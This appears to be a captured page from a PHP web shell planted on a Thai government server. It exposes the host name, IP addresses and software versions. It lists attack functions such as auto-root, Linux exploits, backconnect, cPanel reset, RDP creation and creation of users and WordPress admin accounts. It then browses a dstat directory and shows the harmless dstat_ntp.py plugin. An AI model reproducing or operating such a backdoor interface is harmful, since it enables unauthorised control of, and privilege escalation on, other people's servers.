Linux ns8.secondary29.go.th 2.6.32-754.28.1.el6.x86_64 #1 SMP Wed Mar 11 18:38:45 UTC 2020 x86_64
Apache/2.2.15 (CentOS)
: 122.154.134.11 | : 122.154.134.9
Cant Read [ /etc/named.conf ]
5.6.40
apache
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
dstat /
[ HOME SHELL ]
Name
Size
Permission
Action
dstat.py
81.42
KB
-rwxr-xr-x
dstat.pyc
80.34
KB
-rw-r--r--
dstat.pyo
80.34
KB
-rw-r--r--
dstat_battery.py
1.46
KB
-rw-r--r--
dstat_battery.pyc
1.96
KB
-rw-r--r--
dstat_battery.pyo
1.96
KB
-rw-r--r--
dstat_battery_remain.py
1.4
KB
-rw-r--r--
dstat_battery_remain.pyc
2
KB
-rw-r--r--
dstat_battery_remain.pyo
2
KB
-rw-r--r--
dstat_cpufreq.py
1.63
KB
-rw-r--r--
dstat_cpufreq.pyc
2.22
KB
-rw-r--r--
dstat_cpufreq.pyo
2.22
KB
-rw-r--r--
dstat_dbus.py
1.34
KB
-rw-r--r--
dstat_dbus.pyc
1.54
KB
-rw-r--r--
dstat_dbus.pyo
1.54
KB
-rw-r--r--
dstat_disk_util.py
2.22
KB
-rw-r--r--
dstat_disk_util.pyc
2.86
KB
-rw-r--r--
dstat_disk_util.pyo
2.86
KB
-rw-r--r--
dstat_fan.py
877
B
-rw-r--r--
dstat_fan.pyc
1.52
KB
-rw-r--r--
dstat_fan.pyo
1.52
KB
-rw-r--r--
dstat_freespace.py
1.41
KB
-rw-r--r--
dstat_freespace.pyc
1.88
KB
-rw-r--r--
dstat_freespace.pyo
1.88
KB
-rw-r--r--
dstat_gpfs.py
1.58
KB
-rw-r--r--
dstat_gpfs.pyc
2.06
KB
-rw-r--r--
dstat_gpfs.pyo
2.06
KB
-rw-r--r--
dstat_gpfs_ops.py
1.71
KB
-rw-r--r--
dstat_gpfs_ops.pyc
2.26
KB
-rw-r--r--
dstat_gpfs_ops.pyo
2.26
KB
-rw-r--r--
dstat_helloworld.py
436
B
-rw-r--r--
dstat_helloworld.pyc
937
B
-rw-r--r--
dstat_helloworld.pyo
937
B
-rw-r--r--
dstat_innodb_buffer.py
1.58
KB
-rw-r--r--
dstat_innodb_buffer.pyc
2.19
KB
-rw-r--r--
dstat_innodb_buffer.pyo
2.19
KB
-rw-r--r--
dstat_innodb_io.py
1.58
KB
-rw-r--r--
dstat_innodb_io.pyc
2.13
KB
-rw-r--r--
dstat_innodb_io.pyo
2.13
KB
-rw-r--r--
dstat_innodb_ops.py
1.66
KB
-rw-r--r--
dstat_innodb_ops.pyc
2.21
KB
-rw-r--r--
dstat_innodb_ops.pyo
2.21
KB
-rw-r--r--
dstat_lustre.py
1.2
KB
-rw-r--r--
dstat_lustre.pyc
1.97
KB
-rw-r--r--
dstat_lustre.pyo
1.97
KB
-rw-r--r--
dstat_memcache_hits.py
779
B
-rw-r--r--
dstat_memcache_hits.pyc
1.4
KB
-rw-r--r--
dstat_memcache_hits.pyo
1.4
KB
-rw-r--r--
dstat_mysql5_cmds.py
1.33
KB
-rw-r--r--
dstat_mysql5_cmds.pyc
1.92
KB
-rw-r--r--
dstat_mysql5_cmds.pyo
1.92
KB
-rw-r--r--
dstat_mysql5_conn.py
1.46
KB
-rw-r--r--
dstat_mysql5_conn.pyc
2
KB
-rw-r--r--
dstat_mysql5_conn.pyo
2
KB
-rw-r--r--
dstat_mysql5_io.py
1.24
KB
-rw-r--r--
dstat_mysql5_io.pyc
1.8
KB
-rw-r--r--
dstat_mysql5_io.pyo
1.8
KB
-rw-r--r--
dstat_mysql5_keys.py
1.4
KB
-rw-r--r--
dstat_mysql5_keys.pyc
2.01
KB
-rw-r--r--
dstat_mysql5_keys.pyo
2.01
KB
-rw-r--r--
dstat_mysql_io.py
1.38
KB
-rw-r--r--
dstat_mysql_io.pyc
2
KB
-rw-r--r--
dstat_mysql_io.pyo
2
KB
-rw-r--r--
dstat_mysql_keys.py
1.53
KB
-rw-r--r--
dstat_mysql_keys.pyc
2.2
KB
-rw-r--r--
dstat_mysql_keys.pyo
2.2
KB
-rw-r--r--
dstat_net_packets.py
2.15
KB
-rw-r--r--
dstat_net_packets.pyc
2.75
KB
-rw-r--r--
dstat_net_packets.pyo
2.75
KB
-rw-r--r--
dstat_nfs3.py
1.22
KB
-rw-r--r--
dstat_nfs3.pyc
1.91
KB
-rw-r--r--
dstat_nfs3.pyo
1.91
KB
-rw-r--r--
dstat_nfs3_ops.py
1.17
KB
-rw-r--r--
dstat_nfs3_ops.pyc
2.12
KB
-rw-r--r--
dstat_nfs3_ops.pyo
2.12
KB
-rw-r--r--
dstat_nfsd3.py
1.24
KB
-rw-r--r--
dstat_nfsd3.pyc
1.94
KB
-rw-r--r--
dstat_nfsd3.pyo
1.94
KB
-rw-r--r--
dstat_nfsd3_ops.py
1.17
KB
-rw-r--r--
dstat_nfsd3_ops.pyc
2.12
KB
-rw-r--r--
dstat_nfsd3_ops.pyo
2.12
KB
-rw-r--r--
dstat_ntp.py
1.9
KB
-rw-r--r--
dstat_ntp.pyc
2.51
KB
-rw-r--r--
dstat_ntp.pyo
2.51
KB
-rw-r--r--
dstat_postfix.py
629
B
-rw-r--r--
dstat_postfix.pyc
1.27
KB
-rw-r--r--
dstat_postfix.pyo
1.27
KB
-rw-r--r--
dstat_power.py
2.14
KB
-rw-r--r--
dstat_power.pyc
2.43
KB
-rw-r--r--
dstat_power.pyo
2.43
KB
-rw-r--r--
dstat_proc_count.py
371
B
-rw-r--r--
dstat_proc_count.pyc
891
B
-rw-r--r--
dstat_proc_count.pyo
891
B
-rw-r--r--
dstat_rpc.py
751
B
-rw-r--r--
dstat_rpc.pyc
1.24
KB
-rw-r--r--
dstat_rpc.pyo
1.24
KB
-rw-r--r--
dstat_rpcd.py
781
B
-rw-r--r--
dstat_rpcd.pyc
1.3
KB
-rw-r--r--
dstat_rpcd.pyo
1.3
KB
-rw-r--r--
dstat_sendmail.py
590
B
-rw-r--r--
dstat_sendmail.pyc
1.1
KB
-rw-r--r--
dstat_sendmail.pyo
1.1
KB
-rw-r--r--
dstat_snooze.py
737
B
-rw-r--r--
dstat_snooze.pyc
1.27
KB
-rw-r--r--
dstat_snooze.pyo
1.27
KB
-rw-r--r--
dstat_thermal.py
1.57
KB
-rw-r--r--
dstat_thermal.pyc
1.77
KB
-rw-r--r--
dstat_thermal.pyo
1.77
KB
-rw-r--r--
dstat_top_bio.py
2.9
KB
-rw-r--r--
dstat_top_bio.pyc
2.75
KB
-rw-r--r--
dstat_top_bio.pyo
2.75
KB
-rw-r--r--
dstat_top_cpu.py
2.13
KB
-rw-r--r--
dstat_top_cpu.pyc
2.25
KB
-rw-r--r--
dstat_top_cpu.pyo
2.25
KB
-rw-r--r--
dstat_top_cputime.py
2.44
KB
-rw-r--r--
dstat_top_cputime.pyc
2.57
KB
-rw-r--r--
dstat_top_cputime.pyo
2.57
KB
-rw-r--r--
dstat_top_cputime_avg.py
2.58
KB
-rw-r--r--
dstat_top_cputime_avg.pyc
2.54
KB
-rw-r--r--
dstat_top_cputime_avg.pyo
2.54
KB
-rw-r--r--
dstat_top_io.py
2.86
KB
-rw-r--r--
dstat_top_io.pyc
2.59
KB
-rw-r--r--
dstat_top_io.pyo
2.59
KB
-rw-r--r--
dstat_top_latency.py
2.51
KB
-rw-r--r--
dstat_top_latency.pyc
2.71
KB
-rw-r--r--
dstat_top_latency.pyo
2.71
KB
-rw-r--r--
dstat_top_latency_avg.py
2.59
KB
-rw-r--r--
dstat_top_latency_avg.pyc
2.54
KB
-rw-r--r--
dstat_top_latency_avg.pyo
2.54
KB
-rw-r--r--
dstat_top_mem.py
1.68
KB
-rw-r--r--
dstat_top_mem.pyc
1.93
KB
-rw-r--r--
dstat_top_mem.pyo
1.93
KB
-rw-r--r--
dstat_top_oom.py
1.9
KB
-rw-r--r--
dstat_top_oom.pyc
2.02
KB
-rw-r--r--
dstat_top_oom.pyo
2.02
KB
-rw-r--r--
dstat_utmp.py
951
B
-rw-r--r--
dstat_utmp.pyc
1.3
KB
-rw-r--r--
dstat_utmp.pyo
1.3
KB
-rw-r--r--
dstat_vm_memctl.py
986
B
-rw-r--r--
dstat_vm_memctl.pyc
1.31
KB
-rw-r--r--
dstat_vm_memctl.pyo
1.31
KB
-rw-r--r--
dstat_vmk_hba.py
2.92
KB
-rw-r--r--
dstat_vmk_hba.pyc
2.71
KB
-rw-r--r--
dstat_vmk_hba.pyo
2.71
KB
-rw-r--r--
dstat_vmk_int.py
3.16
KB
-rw-r--r--
dstat_vmk_int.pyc
2.69
KB
-rw-r--r--
dstat_vmk_int.pyo
2.69
KB
-rw-r--r--
dstat_vmk_nic.py
2.67
KB
-rw-r--r--
dstat_vmk_nic.pyc
3.04
KB
-rw-r--r--
dstat_vmk_nic.pyo
3.04
KB
-rw-r--r--
dstat_vz_cpu.py
2.2
KB
-rw-r--r--
dstat_vz_cpu.pyc
2.66
KB
-rw-r--r--
dstat_vz_cpu.pyo
2.66
KB
-rw-r--r--
dstat_vz_io.py
2.75
KB
-rw-r--r--
dstat_vz_io.pyc
2.32
KB
-rw-r--r--
dstat_vz_io.pyo
2.32
KB
-rw-r--r--
dstat_vz_ubc.py
1.92
KB
-rw-r--r--
dstat_vz_ubc.pyc
2.53
KB
-rw-r--r--
dstat_vz_ubc.pyo
2.53
KB
-rw-r--r--
dstat_wifi.py
1.01
KB
-rw-r--r--
dstat_wifi.pyc
1.48
KB
-rw-r--r--
dstat_wifi.pyo
1.48
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : dstat_ntp.py
### Author: Dag Wieers <dag@wieers.com> global socket import socket global struct import struct ### FIXME: Implement millisecond granularity as well ### FIXME: Interrupts socket if data is overdue (more than 250ms ?) class dstat_plugin(dstat): """ Time from an NTP server. BEWARE: this dstat plugin typically takes a lot longer to run than system plugins and for that reason it is important to use an NTP server located nearby as well as make sure that it does not impact your other counters too much. """ def __init__(self): self.name = 'ntp' self.timefmt = os.getenv('DSTAT_TIMEFMT') or '%d-%m %H:%M:%S' self.ntpserver = os.getenv('DSTAT_NTPSERVER') or '0.fedora.pool.ntp.org' self.type = 's' self.width = len(time.strftime(self.timefmt, time.localtime())) self.scale = 0 self.nick = ('date/time',) self.vars = ('time',) self.epoch = 2208988800L # socket.setdefaulttimeout(0.25) self.socket = socket.socket( socket.AF_INET, socket.SOCK_DGRAM ) self.socket.settimeout(0.25) def gettime(self): self.socket.sendto( '\x1b' + 47 * '\0', ( self.ntpserver, 123 )) data, address = self.socket.recvfrom(1024) return struct.unpack( '!12I', data )[10] - self.epoch def check(self): try: self.gettime() except socket.gaierror: raise Exception, 'Failed to connect to NTP server %s.' % self.ntpserver except socket.error: raise Exception, 'Error connecting to NTP server %s.' % self.ntpserver def extract(self): try: self.val['time'] = time.strftime(self.timefmt, time.localtime(self.gettime())) except: self.val['time'] = theme['error'] + '-'.rjust(self.width-1) + ' ' def showcsv(self): return time.strftime(self.timefmt, time.localtime(self.gettime())) # vim:ts=4:sw=4:et
Close